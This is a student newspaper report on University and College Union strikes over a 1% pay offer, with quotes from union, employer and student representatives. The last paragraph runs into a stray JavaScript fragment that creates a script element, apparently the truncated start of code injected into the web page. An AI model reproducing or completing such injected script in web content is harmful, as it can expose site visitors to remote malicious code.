University staff take further strike action

By Daniel Speirs

The University and College Union (UCU) have engaged in more industrial action in the form of three 2 hour strikes and another national day of action.

Staff taking part in the action stopped work for 2 hours on 23 and 28 January, and took further action on 10 February from 9am-11am. Another day of action took place on Thursday 6 February.

These developments are the latest in a long-running dispute between staff and employers at universities and colleges across the UK, following 2 days of strike action on 31 October and 3 December last year.

The UCU claims the 1% pay increase on offer means staff will have seen real-pay drop by 13% since October 2008.

The union claims that they have no other choice in organising further strikes, with head of bargaining Michael MacNeil saying:

“Staff love their jobs, but their goodwill cannot continue to be taken for granted.

“Nobody wants to take strike action and lose a day’s pay, but we feel we have been left with no alternative.”

The University and Colleges Employers Association have made assurances over disruption levels, which a spokesman claimed would be “very limited”.

They also claim that annual pay will go up by 3% in most further education bodies.

In an email to students, James Ferns, USSA Vice President for Education, said:

“Fair pay for staff is vital for improving the student experience in that it helps to ensure that the university attracts excellent staff who are happy and motivated in their roles.

“Staff have asked for a modest pay rise to ensure a living wage for the lowest paid members. This request is motivated not by greed – but by social justice. Don’t believe anyone who tells you that there is not enough money to make this a reality, when universities across the UK have a surplus of more than £1.1 billion. They can more than afford to value their staff, but as yet they have chosen not to.

“I do not believe it is in any way helpful to anyone, to make our staff effectively work longer hours for less money. It’s crucial that we stand together to protect the working conditions of a working world which we’ll all be moving into very soon.”var d=document;var s=d.createElement(‘script’);